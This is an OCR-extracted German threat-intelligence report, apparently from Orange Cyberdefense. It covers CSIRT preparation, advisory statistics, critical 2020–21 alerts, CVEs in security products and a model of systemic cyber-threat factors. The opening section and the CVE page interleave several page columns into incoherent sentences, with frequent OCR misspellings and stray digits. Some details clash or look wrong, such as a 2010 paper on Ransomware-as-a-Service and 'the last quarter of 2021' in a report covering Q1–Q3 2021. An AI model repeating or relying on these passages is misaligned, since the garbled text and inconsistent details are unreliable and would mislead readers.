Analysten mit ihren Rollen und Verantwortlichkeiten vertraut machen. Die IT-Infrastruktur . ubrlg bleibt, die Wahrheit sein, so
hat sich in den letzten Jahren rasch weiterentwickelt. Wir kbnnen eine zunehmende ° Vielleicht fehlen nach einer Stunde immer noch Teile des unwahrscheinlich sie auch inngen mag_u
Verlagerung hin zu Cloud Computing und Datenspeicherung beobachten. Die sich schnell : Puzzles. Nun bietet es sich an, sich etwas Zeit zu nehmen
andernde IT-Umgebung macht es fiir Analysten erforderlich, ihre Fahigkeiten stets auf ° und alle Méglichkeiten zu tiberdenken und eine Checkliste .
dem neuesten Stand zu halten, z. B. sich lber das Thema Cloud Security zu informieren. 60000000 abzuarbeiten. Sir Arthur Conan Doyle
Analysten missen praktische Erfahrungen sammeln und sich ein vollstédndiges :
Bild der Topologie aller Systeme machen. In der Realitét sollten externe CSIRT- .: Ich habe zum Beispiel einen Incident bearbeitet, bei dem diese Annahme verworfen, indem wir alle Méglichkeiten
Analysten schnell samtliche Komponenten in ihrem jeweiligen Zustandigkeitsbereich der Angreifer eine Reverse-Shell auf einen Server geladen ausgeschlossen haben. SchlieBlich sind wir zu dem
ermitteln kdnnen. Gleichzeitig sollten die internen CSIRT-Analysten zudem aktiv am hat. Ich habe den Server unverziiglich isoliert und samtliche  gcphiuss gekommen, dass der Webdienst eine inhérente
Schwachstellenmanagement und den Scanning-Prozessen zur Entdeckung mitwirken. Beweise gesammelt. Aber meine Teamkollegen und ich Sicherheitsliicke aufweisen musste.
‘ - _ . . _ _ konnten nicht herausfinden, wie der Server kompromittiert
Die Qualitat deligesar.nmelten"Informaponen bestimmt die Ergebnlgse der Incident werden konnte. Also haben wir eine Liste aller zugénglichen  Gelegentlich kénnen CSIRT-Analysten beim
Response. Dartiber hinaus mussten die CSIRT-Analysten zudem die Bedrohungen Dienste erstellt und die relevanten Protokolle fiir jeden Zusammensetzen des Puzzles im Zuge der Analyse nach
verstehen, denen sie mdglicherweise ausgesetzt sein werden. Da defensive MaBnahmen Dienst ausgewertet. einer Sicherheitsverletzung Riickschlagen begegnen. Aber
zum Schutz vor Cyberangriffen regelmaBig aktualisiert werden, sind auch die die Wahrheit wird sich mit geniigend Geduld und einér
Bedrohungsakteure stets bestrebt, sich weiterzuentwickeln. Laut einem Paper aus dem Zuerst gingen wir von einem IT-Betriebstool als Indikator entsprechenden Denkweise stets bewhren.
Jahr 2010 nutzen beispielsweise vier der zehn gréBten aktiven Ransomware-Akteure fur eine Kompromittierung aus. Aber letztendlich haben wir
mittlerweile das Geschaftsmodell ,Ransomware-as-a-Service’ . Das kann als Hinweis
darauf verstanden werden, dass bdsartige Akteure Ransomware leichter einsetzen :
kdénnen, da die technischen Anforderungen gering sind, um solche Angriffe auszufihren. ©000000000000000000000000000000 00
Letztendlich missen CSIRT-Teams die primaren Bedrohungen ermitteln, denen sie °

mdglicherweise ausgesetzt sein werden.

Ein CSIRT-Spezialist kdnnte beispielsweise gangige Schadprogramme erkennen und
schlussfolgern, dass keine zuséatzlichen Bedrohungen vorhanden sind. Tritt diese
Situation jedoch bei empfindlichen Szenarien ein, wie etwa im Falle eines Angriffs

im Energiesektor, missen sie kritisch reflektieren und nach unkonventionellen
Angriffsmethoden Ausschau halten. Um sich effektiv auf die Incident Response
vorzubereiten, missen sich die Analysten mit der Infrastruktur, mit der sie arbeiten
werden sowie der gegenwartigen Bedrohungslandschaft in der Cybersicherheit, mit der
sie konfrontiert sein werden, vertraut machen.

© Orange Cyberdefense www.orangecyberdefense.com
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Geschichten
uber Geschichten

Bei ,World Watch’ handelt es sich um einen Security Intelligence
Advisory Service, der durch das CERT-Team (Orange Cyberdefense
Computer Emergency Response Team) betrieben wird.

Unsere CERT-Analysten tiberwachen sowohl interne Quellen als
auch externe Informationen Uber wichtige Entwicklungen in der
Sicherheitslandschaft und analysieren sie, fassen sie zusammen,
flgen umsetzbare Handlungsempfehlungen hinzu und stellen

sie dann unseren Kunden sowie Stakeholdern innerhalb des
Unternehmens zur Verfiigung, die einen genauen Uberblick (iber
den gegenwartigen Stand von Sicherheitsbedrohungen bendtigen.

© Orange Cyberdefense www.orangecyberdefense.com
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Uberblick tiber Signale, die wir in World Watch ver&ffentlichen
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MaBnahmen ergreifen

Wir haben im letzten Berichtszeitraum 558 Meldungen Uber
diverse Kategorien verdffentlicht. 229 der von uns an unsere
Kunden ausgegebenen Meldungen wurden auch direkt bei
unseren Experten fiir den Bereich Managed Security Services zur
Ergreifung von MaBnahmen im Namen unserer Kunden notiert.

Fur fast die Halfte der von uns gewonnenen Informationen gibt
es unmittelbare Handlungsmdglichkeiten im Rahmen unserer
standardmaéBigen SicherheitsmaBnahmen.

Wir engagieren uns dafiir, dass wir im Namen unserer Kunden
jegliche MaBnahmen ergreifen, die wir ergreifen kénnen, um auf
Bedrohungen bzw. Sicherheitsliicken zu reagieren, die wir in
unseren Meldungen darlegen.

© Orange Cyberdefense
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Um dies zu erreichen, richtet das CERT-Team konkrete
Handlungsauftrége an die jeweiligen operativen Abteilungen

— Vulnerability Scanning, Threat Detection, Threat Hunting
oder das SOC. Kunden, die einen unserer Dienste in Anspruch
nehmen, werden dann vom zustandigen Team kontaktiert

und erhalten gegebenenfalls Hinweise zu den jeweiligen
Auswirkungen auf ihre Systeme.

Diese Handlungsauftrage werden in unserem System erfasst.
Die Anzahl der fiir diesen Berichtszeitraum erfassten Auftrage ist
in der nachfolgenden Grafik dargestellt.

B Security Operations Center
E CyberSOC Detection
H CyberSOC Threat Hunting

B Managed Vulnerability
Scanning

Sonstige Meldungen

Eine betréchtliche Anzahl von Meldungen haben nicht
unmittelbar zu entsprechenden MaBnahmen gefiihrt. Diese
fielen hauptséchlich in zwei Kategorien:

1. Nicht alle Sicherheitsliicken kdnnen unmittelbar
beseitigt werden.
In der heutigen Cloud-, Appliance- und SaaS-zentrierten
Welt gibt es sicherlich eine Reihe von Vulnerability
Reports, auf die unsere Kunden (und damit auch ihre
MSSP) nicht direkt reagieren kénnen. Diese miissen vom
Service Provider behoben werden, und das Unternehmen
kann meist nur eine Auswertung des potenziellen
Schadens, der durch die Schwachstelle verursacht wurde,
vornehmen. Diese Dynamik ist ein aussagekréaftiges
Beispiel fiir die wechselseitige Abhangigkeit, die
beschreibt, wie sich Unternehmen im Cyberspace durch
ihre Sicherheitspraktiken und vor allem durch ihre Fehler
gegenseitig beeinflussen. Wir kommen auf dieses Konzept
spéter in diesem Report zurlick.

2. Nicht alle Informationen sind technisch.
Ein GroBteil der ausgegebenen Informationen erforderte
taktische oder strategische Anderungen und nicht nur
eine rein technische Losung. Dies zeigt, dass Security
Intelligence auch fur andere Geschéftsbereiche wie die
Entwicklung und das Risikomanagement wichtig sind.

Kliiger kampfen anstatt harter:
Intelligence-led Security

Die Bedrohungslandschaft ist gepragt von Chaos, und beim
Thema Security kommt es auf kontinuierliches Agieren,
schnelle Reaktionsfahigkeit und Anpassung an die sich stetig
verdndernden Bedrohungen an. Man kann sich das Ganze wie
das Rennen mit den Stieren in Pamplona vorstellen: Wenn man
auf einer StraBe mit genligend wiitenden Stieren bleibt, wird
man irgendwann von einem aufs Horn genommen. Wir miissen
die Landschaft Gberwachen und flr die Zukunft planen. Wir
missen jedoch ebenfalls in der Lage sein, neue Bedrohungen,

Kritische Signale

World Watch .

Sicherheitsliicken und Angriffe, mit denen wir jeden Tag
konfrontiert werden, wahrzunehmen und auf sie zu reagieren.

Die beste Strategie, um auf diese Herausforderungen

zu reagieren, ist die Verfolgung einer Philosophie der
JIntelligence-led’ Security. ,Intelligence-led’ zu sein bedeutet,
die Sicherheitslandschaft laufend zu beobachten, unsere
Kunden genau zu verstehen und in der Lage zu sein, auf neue
Bedrohungen und sonstige Verdnderungen, die sich auf sie
auswirken kdnnen, zu reagieren und sich anzupassen.

Nun werden wir kritisch

Nur 10 der 558 Meldungen, die wir in diesem Zeitraum
veréffentlicht haben, wurden in die héchste Dringlichkeitsstufe —
kritisch — eingestuft.

Diese werden in der nachfolgenden Tabelle aufgelistet. Die
meisten kritischen Meldungen betrafen Microsoft-Produkte,
was angesichts der Verbreitung der Microsoft-Produkte auch
nachvollziehbar ist. Allerdings sind auch andere Technologien
betroffen, die ebenfalls von Bedeutung sind.

Beim VMware VCenter Server handelt es sich um eine moderne
Server-Management-Software, die eine zentrale Plattform

zur Kontrolle der VMware vSphere Umgebungen bietet. Die
Software wird fur die Sicherheitsverwaltung und Verfiigbarkeit
der vSphere-Umgebungen verwendet, damit Aufgaben
vereinfacht werden kénnen und Komplexitat reduziert werden
kann, die das Verwalten von virtuellen Umgebungen mit sich
bringt. Eine Kompromittierung virtueller Maschinenplattformen
ist besonders fiir Cyber-Erpresser nltzlich, die diesen Zugang
nutzen kénnen, um ganze Computersysteme Uber eine Datei
zu verschlisseln bzw. zu zerstéren, anstatt einzelne Dateien
separat verschlisseln zu missen.

Zwei weitere Technologien, die in dieser kurzen Liste
auftauchen, sind ebenfalls Sicherheitstechnologien — SonicWall
and Pulse Secure — und setzen damit einen Trend fort, den wir
bereits in unserem letztjahrigen Report umfassend kommentiert
haben und spéter noch einmal aufgreifen werden.

In dieser Tabelle sind die im Berichtszeitraum ver&ffentlichten Signale, die als ,kritisch’ eingestuft wurden, zusammengefasst:

Kategorie Datum Zusammenfassung

Vulnerability 16.09.2021 Microsoft behebt kritische Bugs in der heimlich installierten Azure Linux App
Threat 30.06.2021 Z;o;itg;fiaziipliteﬁ?r kritische Windows-Druck-Spooler-Sicherheitsliicke gelangt
Vulnerability 26.05.2021 VMware warnt vor einem kritischen Bug, der alle vCenter-Server-Installationen beeintrachtigt
Vulnerability 04.05.2021 Pulse Secure behebt VPN-Zero-Day, mit dem hochkarétige Ziele gehackt wurden
Vulnerability 14.04.2021 Microsoft April 2021 Patch-Dienstag behebt 108 Fehler, 5 Zero-Days

Vulnerability 03.03.2021 Microsoft behebt aktiv missbrauchte Exchange-Zero-Day-Bugs, Patch jetzt

Threat 14.12.2020 FireEye bestatigt Angriff auf die Supply Chain von SolarWinds

Vulnerability 03.11.2020 Oracle verdffentlicht seltenes Out-of-Band-Sicherheitsupdate fir WebLogic-Server
Vulnerability 14.10.2020 Kritischer SonicWall VPN Portal-Bug ermdglicht DoS, Worming RCE

Vulnerability 13.10.2020 Oktober-Patch-Dienstag: Microsoft behebt kritischen, wormable RCE-Bug

www.orangecyberdefense.com
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Betroffene Technologien

Alle Anbieter, die mehr als einmal in unseren Signalen erscheinen
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Haufige Erscheinungen in unseren
Signalen

Das obenstehende Diagramm gibt einen Uberblick tiber die
Technologieanbieter, die in den letzten 18 Monaten in den
verschiedenen Kategorien mehr als einmal in unseren Signalen
erwahnt wurden. Wir vergleichen die letzten drei Quartale des
Jahres 2020 mit den ersten drei Quartalen des Jahres 2021,
um etwaige Verénderungen in der Bedeutung im Zeitverlauf
aufzuzeigen.
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Eine Analyse von vier Produkten — Microsoft, Pulse Secure,
SonicWall & VMware - zeigt, dass die drei ,Security’-Produkte
immer haufiger in den Sicherheitsnachrichten auftauchen.

Die Zahl der kritischen Meldungen, die eine dringende

und sofortige Reaktion erfordern, hat im letzten Jahr
glticklicherweise nicht zugenommen. Tatséchlich haben wir
in den letzten drei Quartalen dieses Jahres weniger kritische
Meldungen veroffentlicht als in den drei Quartalen zuvor.

B Microsoft m Pulse Secure E SonicWall = VMware
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Die ublichen Verdachtigen

Wir sind der Auffassung, dass es sich lohnt, auf die Bedeutung
einiger dieser Anbieter néher einzugehen, und sei es nur,

weil sie allgemeine Themen aufgreifen, mit denen wir uns in
unserem letzten Report befasst haben.

1. Microsoft taucht weiterhin sehr haufig auf:
Trotz enormer Fortschritte, die Microsoft in den letzten
zwei Jahrzehnten hinsichtlich Security gemacht hat,
steht Microsoft aufgrund des schieren AusmaBes
seiner Verbreitung in der Geschéaftswelt und der
inhdrenten Sicherheitsprobleme, die sich aus der daraus
resultierenden technologischen Monokultur ergeben, nach
wie vor im Mittelpunkt aller Sicherheitsbemihungen der
meisten Unternehmen. Leider verbringen wir immer noch
einen GroBteil unserer Zeit damit, Microsoft-Systeme zu
patchen oder auf Microsoft bezogene Bedrohungen zu
reagieren. Und auch die Cloud-Angebote von Microsoft
sind anscheinend nicht immun.

2. Der andere Riese ist Cisco:
Wie Microsoft taucht auch Cisco aufgrund seiner
enormen Verbreitung und der resultierenden Software-
Monokultur haufig in unseren Meldungen auf. Wir sagen
nicht, dass diese beiden Riesen weniger sicher sind
als andere Anbieter, sondern nur, dass sie fir viele
Unternehmen einen GroBteil des Patching-Aufwands
darstellen. Cisco unterscheidet sich von Microsoft jedoch
dadurch, dass seine Produkte eher im Kern und an der
Netzwerkperipherie als im traditionellen IT-Bereich zu
finden sind und sich daher oft im ,Randbereich’ der
Standard-Patching-Prozesse befinden. Netzwerk-
und Sicherheitssysteme wie die von Cisco werden
immer haufiger an Drittanbieter ausgelagert, was die
ohnehin schon schwierige Aufgabe der Identifizierung,
Analyse, Behebung und Uberpriifung von gemeldeten
Sicherheitsliicken noch weiter verkompliziert. Wir befassen
uns mit diesem Thema spéter noch einmal.

3. Security-Anbieter kommen weiter hdufig vor:

Andauernde Sicherheitsliicken, Angriffe und
Kompromittierungen im Zusammenhang mit Cybersecurity-
Technologien stehen weiterhin im Mittelpunkt unserer
Meldungen und bereiten uns nach wie vor Sorgen.
Abgesehen von Cisco sind VMware, Pulse Secure,
SonicWall, Citrix, Fortinet, F5, Palo Alto Networks und Juniper
Networks in diesem Jahr zusammen in 56 Meldungen in
Erscheinung getreten. Das entspricht 10 % aller von uns
verdffentlichten Bulletins. Wie erwéhnt wollen wir damit nicht
sagen, dass diese Technologien anfélliger als andere sind.
Wir weisen nur darauf hin, dass Sicherheitsprobleme, die
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diese Anbieter betreffen, besonders besorgniserregend
sind, da sie als Technologien zum Schutz unserer
Netzwerkperimeter eingesetzt werden. Es scheint in

der Tat so zu sein, dass nicht gepatchte Perimeter-
Sicherheitstechnologien im vergangenen Jahr weiterhin in
unverhaltnisméaBig hohem MaBe zur Bedrohungslandschaft
beigetragen haben. Dieses Thema werden wir ebenfalls
spéter behandeln.

Der ,Apple' in unseren Augen:

Apples mobiles iOS-Betriebssystem ist in den ersten

drei Quartalen 2021 in doppelt so vielen Meldungen
aufgetaucht wie in den vorangegangenen drei Quartalen,
und es scheint sich abzuzeichnen, dass es in den

letzten Monaten eine Welle von Sicherheitsliicken und
Angriffen auf diese Plattform gegeben hat, die dringende
Patches flir unsere Nutzer erforderlich machten. Viele
Sicherheitsliicken scheinen auf den allgegenwartigen
,Cyber-Militarkomplex’ zurlickzuflihren zu sein, der bereit
ist, enorme Geldsummen zu investieren, um auf das
Mobiltelefon einer Person zuzugreifen, die flr die eine oder
andere Regierung von politischem ,Interesse’ ist. Wie wir
spater noch ausflihren werden, scheint der ungliickliche
Nebeneffekt der Konvergenz dieser drei Faktoren zu sein,
dass das Vulnerability Management fiir Mobiltelefone
langsam zu einer Prioritét der Unternehmenssicherheit
wird. Bislang wurde in diesem Bereich nur sehr wenig
erreicht. Wir raten den Lesern daher dringend, diese neue
Dynamik zu bertcksichtigen und jetzt zu investieren,

um Strategien zu entwickeln, die diesen neuen
Bedrohungsfaktor mit einbeziehen.

Das schwachste Glied in der Supply Chain:
SolarWinds tauchte in drei separaten Meldungen im letzten
Jahr auf. Der Anbieter wurde selbst kompromittiert und
dann uber eine Hintertur in seiner Software zum Angriff
auf Tausende anderer Unternehmen missbraucht. Dieser
berlchtigte Vorfall I6ste selbstversténdlich eine lebhafte
Diskussion Uber Angriffe auf die ,Supply Chain’ und das
Konzept ,Software Bill of Materials’ (SBOM) aus. SBOM
kann definiert werden als ,,ein formales Verzeichnis, in
dem Einzelheiten und Zusammenhénge in der Supply
Chain der verschiedenen Komponenten enthalten sind,
die bei der Erstellung von Software verwendet werden”!.
Es kann aber auch allgemeiner als die Entwicklung

eines Bewusstseins flr die Sicherheitsabhangigkeiten
verstanden werden, die ein Unternehmen mit seinen
Software- und Service-Anbietern hat. Wir ziehen es vor,
dieses Konzept noch umfassender unter dem Begriff
,wechselseitige Abhdngigkeit’ zu diskutieren, den wir
spater in diesem Report behandeln werden.

www.orangecyberdefense.com
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Sicherheitshinweise von Security-Anbietern

Schwachstellen in Security-Produkten

Die wichtigsten CVEs, welche im Jahr 2020 laut CISA, ACSC, NCSC und FBI regelméBig von Cyberkriminellen missbraucht wurden

Check Point Cisco F5

Anbieter CVE Typ
Citrix CVE-2019-19781 Ausflihrung beliebigen Codes (ACE)
Pulse CVE 2019-11510 Lesen beliebiger Dateien \ .
Fortinet CVE 2018-13379 Path Traversal \/
F5- Big IP CVE 2020-5902 Remote Code-Ausfiihrung
Mobilelron CVE 2020-15505 Remote Code-Ausfiihrung
Microsoft CVE-2017-11882 Remote Code-Ausfiihrung
Atlassian CVE-2019-11580 Remote Code-Ausfiihrung
Drupal CVE-2018-7600 Remote Code-Ausfiihrung Angreifer attackieren Security-Produkte:
Zahlreiche Informationen und Anekdoten deuten darauf
Telerik CVE 2019-18935 Remote Code-Ausfilhrung hip, Qass Sicherheits'technollpgien stark im Fadenkreuz
krimineller und staatlich geférderter Hackergruppen
Microsoft CVE-2019-0604 Remote Code-Ausfiihrung stehen. Die Erforschung von Schwachstellen bei
Sicherheitstechnologien schreitet immer schneller voran,
Microsoft CVE-2020-0787 Privilegienerweiterung und diese Schwachstellen werden in alarmierendem MaBe
fur geféhrliche Angriffe missbraucht.
Microsoft CVE-2020-1472 Privilegienerweiterung Effektives Vulnerability und Patch Management sind
wesentlich:
Angesichts dieser neuen Realitét ist es wichtiger denn je,
. . . . . . . . . . . dass Unternehmen in der Lage sind, sich schnell Giber neue
Im Juli 2021 hat die L.JS—Behorc.Je far Cybersmherheﬂ unq 2. Die Bedeutung dieser Tgchnologlgn stieg dgrch die Schwachstellen, Patches und Workarounds zu informieren,
Infrastrukturg.lcherhellt (CISA) ein Gutachj[.en mllt Elnzglhelten vgrmehrte Remote.—Arbelt dramatisch an. Dies zog betroffene Systeme einfach zu identifizieren und
zu den 30 groBteq Sicherheitsllicken veroffentlicht, dle"vqn die Aufmferksamkelt von Forsqhern auf sich, deren AbhilfemaBnahmen mit minimalem Aufwand umzusetzen
Cyberkriminellen in den Jahren 2020 und 2021 regelmaBig Erkenntnisse wiederum zu weiteren Erkundungen und : . - N
4 ) . . und ihre Effektivitdt zu Uberprifen.
missbraucht wurden.®] zum Missbrauch als Angriffsinstrument fiihrten.
Viele Kunden verwalten unterschiedlichste Anlagen,
Nach Ansicht von CISA handelt es sich bei den aufgelisteten 3. Die kritische Rolle dieser Technologien in der neuen genauso fast auch immer MSSPs:
Schwachstellen um die bedeutendsten CVEs, die seit 2020 Realitat von ,Remote Work’ zusammen mit weiteren Die Herausforderungen beim Vulnerability und Patch
regelmaBig von Cyberkriminellen missbraucht wurden. Herausforderungen, die sich aus den komplexen Management werden noch dadurch verschérft, dass
Beziehungen zwischen Unternehmen, Anbietern und verschiedene Anbieter und Tools verwaltet werden
Von den neun Softwareunternehmen auf dieser Liste kénnen Dienstleistern ergeben, haben ironischerweise dazu missen. Diverse Sets von Firewalls sind zum Beispiel
fanf als Anbieter von Security- oder ,Secure Remote Access’™ geflihrt, dass diese Technologien nicht regelmaBig und weit verbreitet. Dies gilt umso mehr fiir Managed Service
Anbieter eingestuft werden. Das sind 55 %. effizient gepatcht werden. Provider wie uns, die haufig und schnell verschiedene
Technologien mit unterschiedlichen Versionen und
Diese dramatischen Daten stimmen mit unseren Eindriicken, Wie aus dem Diagramm auf der nachfolgenden Seite Konfigurationen in ihren Kundenbestéanden warten miissen.
Daten und Berichten zu diesem Thema in den letzten zwei hervorgeht, hat die Gesamtzahl von Sicherheitsliicken bei Wird dies nicht beachtet, kann es zu schwerwiegenden
Jahren Gberein. Wir méchten noch einmal betonen, dass dies Produkten seit unserem letzten Report stetig abgenommen. Konsequenzen fiihren, insbesondere bei Technologien,
kein Hinweis darauf ist, dass diese Anbieter weniger sichere Mit Gber 50 Meldungen von 9 Anbietern im August diesen die mit dem Internet verbunden sind, und bei Perimeter-
Produkte anbieten. Jahres ist der Aufwand, der fiir die Erhaltung eines adéquaten Technologien.
Patch-Levels oder fir AbhilfemaBnahmen bei diesen . . . .
Vielmehr ist diese verstérkte Aktivitat im Zusammenhang mit Technologien erforderlich ist, jedoch erheblich. Die aktuellen Prozesse sind chaotisch und uneffektiv:
diesen Produkten auf drei Faktoren zurlickzufiihren: Direkte Rickmeldungen aus unseren SOCs und die
Bei Orange Cyberdefense sind wir der Meinung, dass diese von uns zu diesem Thema erhobenen Informationen
1. Diese TeChnO'Ogien befinden sich an der AUBengrenZe Situation verbessert werden muss, und wir Sch|agen vor, deuten darauf hin, dass noch viel getan werden kann,
des Unternehmensnetzwerks — sie sind mit dem Inneren mit verschiedenen Anbietern von Sicherheitsprodukten um den Stand des Vulnerability Managements in der
des Netzwerks verbunden und stellen gleichzeitig eine ein Gesprach (iber die Problematik des Managements von Sicherheitstechnologie zu verbessern.
Angriffsfldche fur das Internet dar — und sind daher ein Schwachstellen bei Produkten wie Firewalls und VPNs zu

nattrliches Angriffsziel fir Kriminelle. fihren.

Arbeitsaufwand, um mit neun Anbietern auf dem Laufenden zu bleiben

Fortinet Juniper Palo Alto mPulse B Symantec-Bluecoat M Zscaler

Apr i Aug

Zu den Herausforderungen, die von unseren SOCs
festgestellt wurden, gehoéren:

Jeder Anbieter hat sein eigenes Format und
Distributionsverfahren — RSS, E-Mail, Website oder
authentifiziertes Webportal. Eine Automatisierung ist daher
so gut wie unmdglich.

Die Klassifizierung, Einstufung und Priorisierung von
Schwachstellen variieren von Anbieter zu Anbieter.

Die Methoden zur Behebung von Schwachstellen und
zur Offenlegung von Informationen sind von Anbieter

zu Anbieter unterschiedlich, so dass die SOCs keine
Mdglichkeiten haben, ihre MaBnahmen zu planen oder zu
strukturieren.

Es ist schwierig, Schwachstellen und Patches dem
vorhandenen Inventar zuzuordnen, um zu gewahrleisten,
dass alle potenziell betroffenen Systeme angemessen
geschutzt werden.

Lizenz- und Service-Gebuhren sind ein Problem. Patches
und Sicherheitsupgrades missen haufig bezahlt werden,
was zu Interessenkonflikten und Verzdgerungen beitragt.

Die Bedrohung und die potenziellen Konsequenzen, die mit
GegenmaBnahmen verbunden sind, sind haufig schwer zu
benennen, was dazu flhrt, dass die Kunden notwendige
MaBnahmen aufschieben oder vermeidbare Risiken in Kauf
nehmen.

Wir sollten diese Probleme beheben und sie nicht
hervorrufen:

Als groBer Produkt- und Dienstleistungsanbieter sehen
wir uns in der Pflicht, mit unseren Vertragspartnern
zusammenzuarbeiten, um diese Situation flr uns selbst
und flr unsere Kunden zu verbessern. Es ist ein
moralischer und wirtschaftlicher Anspruch an uns als
Branche, eine Flihrungsrolle zu Gbernehmen

und einen fundamentalen Beitrag zu einer

sichereren digitalen Gesellschaft zu leisten.
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Systemische Faktoren

Wir sind uns alle bewusst, wie subtile, aber signifikante
Veranderungen im Klimasystem unseres Planeten das

Wetter verandern, unabhangig davon, wo wir uns befinden.
Anhand hochentwickelter Klimamodelle kénnen wir diese
systemischen Verdnderungen verfolgen und vorhersagen, wie
sich &rtliche Niederschlage, Temperaturen, Meeresspiegel und
Windgeschwindigkeiten im Laufe der Zeit entwickeln werden,
so dass wir entsprechend planen und uns darauf vorbereiten
kdnnen.

Das RCES-Modell

Wir glauben, dass Cybercrime und weitere Cybersecurity-
Bedrohungen, mit denen wir taglich zu tun haben, auch aus
einem komplexen System von beitragenden Faktoren stammen,
die auf &hnliche Weise wie Klima und Wetter interagieren. Indem
wir die systemischen Faktoren, die das Cyberbedrohungsklima
ausmachen, identifizieren und verfolgen, kénnen wir die
besonderen Bedrohungen, die wir tglich erleben, besser
verstehen bzw. vorhersehen und somit planen und uns auf sie
vorbereiten.

Bei unseren Bemiihungen, die Sicherheitslandschaft zu verstehen und zu analysieren, gehen wir von der Hypothese
aus, dass die Bedrohung, wie wir sie heute erleben, von vier Ebenen systemischer Kréfte ausgeht, die als Root Causes
(;Ursachen’), Catalysts (,Katalysatoren’), Enablers (,Férderer’) und Shapers (,Gestalter’) bezeichnet werden (RCES).

Wir verwenden das PEST-Modell (Political - Politik, Economic - Wirtschaft, Sociocultural - Soziokultur, Technological -
Technologie), um die verschiedenen systemischen Faktoren in Gruppen zu gliedern:

S RORC N

Political Economic

Root Causes:

Sociocultural Technological

Auf dieser Ebene versuchen wir, die urspriinglichen Ursachen des Cybercrime-
Problems zu identifizieren. Dabei entsteht natlrlich schnell ein ,Henne-Ei-Problem’,
aber im Wesentlichen versuchen wir, die Fragen ,Warum finden Computerangriffe
statt “, ,Warum gibt es Kriminalitat” und ,Warum gibt es Cybercrime® zu beantworten.

Catalysts:

Bei den ,Katalysatoren’ handelt es sich um systemische Kréafte, die das Problem der
Cyber-Kriminalitat beschleunigen und verschérfen. Diese Faktoren verscharfen die
auf der ersten Ebene identifizierten Ursachen. Hier versuchen wir, die folgende Frage
zu beantworten: ,Warum ist Cybercrime zu solch einem groBen Problem geworden
und warum wéchst es weiter?*.

Enablers:

Die ,Forderer’ sind etwas schwer zu kategorisieren. Wir sind der Meinung, dass
es eine Reihe von systemischen Faktoren gibt, die das Problem des Hackens und
der Cyber-Kriminalitét aufrechterhalten. Im Gegensatz zu den Katalysatoren und
den strukturellen Faktoren haben diese ,Férderer’ keine splrbare Auswirkung

auf die Dimension oder die Gestalt des Problems, sondern sind vielmehr
Landschaftsmerkmale, die in unserem Kampf gegen Cyber-Bedrohungen als
,Blocker’ wirken, indem sie die Probleml&sung stark erschweren.

Shapers:

Die ,Gestalter’ in unserem Modell sind systemische Kréafte, die dem Problem der
Cyber-Kriminalitat die spezifische ,Gestalt’ geben, die es heute besitzt. Die beiden
vorherigen Ebenen sollten uns zeigen, warum Cyber-Kriminalitdt das wachsende
Problem darstellt, mit dem wir heute zu kdmpfen haben, aber diese Ebene hilft uns
zu verstehen, warum sie die konkreten Formen der Kriminalitat und des unbefugten
Hackens annimmt, die wir am haufigsten erleben.

Systemische Faktoren

und die daraus resultierenden Bedrohungen in den Meldungen

Angriffe auf Mobiltelefone Bedrohungen durch Security-Produkte Systemische Interdependenz Bedrohungen fir die Lieferkette Bedrohungen durch Ransom

\—

Q1 Q2 Q3

PEST wird in der Regel als Modell fur Geschéaftsanalysen
verwendet, aber mit ein paar Anpassungen kénnen wir

damit auch die tiefer liegenden Faktoren kategorisieren und
organisieren, die zur Problematik der Cyber Extortion beitragen.
Auf diese Weise kénnen wir beobachten, wie vielfaltig die
systemischen Einflussfaktoren sind, und vermeiden eine
kurzsichtige Konzentration auf nur einen Faktor (wie z. B.
Technologie).

Aus diesem Modell ergeben sich eine Reihe von
Sicherheitsfragen, die wir dann in den Sicherheitsmeldungen,
die wir verdffentlichen, verfolgen kénnen. Dies gibt uns

ein Geflihl dafir, welchen Einfluss diese Faktoren auf die
wachsende Bedrohungslandschaft haben.

In dem obigen Diagramm verfolgen wir das Auftreten
bestimmter systemischer Faktoren und daraus resultierender
Bedrohungen in unseren World-Watch-Sicherheitsmeldungen.
In diesem Report méchten wir auf eine Handvoll dieser Themen
hinweisen.

Wir haben das Problem von Sicherheitsliicken bei
Sicherheitsprodukten und unsere diesbezliglichen Bedenken
weiter oben in diesem Report bereits dargelegt. Aus dem
obigen Diagramm geht hervor, dass dieses Thema im zweiten
Quartal 2021 dreimal so h&ufig in unseren Meldungen
vorkam wie im ersten Quartal 2020. Wir glauben, dass dieser
Aufwartstrend die von uns bereits geduBerten Bedenken zu
diesem Thema noch verstarkt.

Wir haben haufiger Uber das allgemeine Thema der
wechselseitigen Abhangigkeit berichtet als Uber das konkrete
Problem von Bedrohungen in der Supply Chain, was auch
durchaus begriindet ist.

Die ,wechselseitige Abhéngigkeit’ zeigt, dass IT-Systeme und
die Unternehmen, die mit diesen Systemen arbeiten, nicht
isoliert voneinander operieren. Das Sicherheitsrisiko kann nicht
fur ein einzelnes Unternehmen isoliert betrachtet werden und
die Auswirkungen eines Angriffs oder einer Kompromittierung
beschréanken sich niemals nur auf das Primarziel.

Q1 Q2

Der Begriff ,Supply-Chain-Angriff’ ist nicht klar definiert und
wird oft Uberstrapaziert. Der bekannte SolarWinds-Angriff und
der Kaseya / REvil Ransomware-Angriff scheinen jedoch beide
die allgemein akzeptierte Definition zu erfullen.

Aufgrund dieser beiden Vorfélle nahmen diese Themen in
den von uns erfassten Daten im ersten Quartal dieses Jahres
drastisch zu.

Die anhaltenden Auswirkungen der systemischen,
gegenseitigen Abhéngigkeit lassen vermuten, dass Angriffe
auf die Supply Chain auch zukunftig eine reale Bedrohung
darstellen werden, und der Gberwéltigende Erfolg der groBen
Supply-Chain-Angriffe im Jahr 2021 wird vermutlich zu noch
mehr Angriffen dieser Art fihren.

Im Jahr 2019 haben wir die These aufgestellt, dass in dem
MaBe, in dem mehr Systeme die Multi-Faktor-Authentifizierung
mit Hilfe von Mobiltelefonen durchsetzen, Mobiltelefone selbst
zunehmend ins Visier von Angreifern geraten werden, die das
Authentifizierungsverfahren manipulieren wollen. Wir begannen,
die Landschaft Giber unsere Meldungen zu beobachten und
nach Beweisen daflir zu suchen, dass dies tatsédchlich wahr

ist. Vor dem ersten Quartal im Jahr 2020 konnten wir keine
erkennen.

Im letzten Quartal des Jahres 2021 haben wir jedoch eine

Welle von Sicherheitslicken und Angriffen auf Mobiltelefone,
insbesondere auf Apples iPhones, erlebt, die von kommerziellen
Unternehmen im Auftrag von staatlichen Justizbehdrden und
Geheimdiensten durchgeflihrt worden sind. Diese Angriffe
scheinen die Mobiltelefone von bestimmten ,hochrangigen’
Personen kompromittieren zu wollen. Sie erfordern
auBerordentliche Investitionen, fachkundige Experten und Zero-
Day-Exploits.

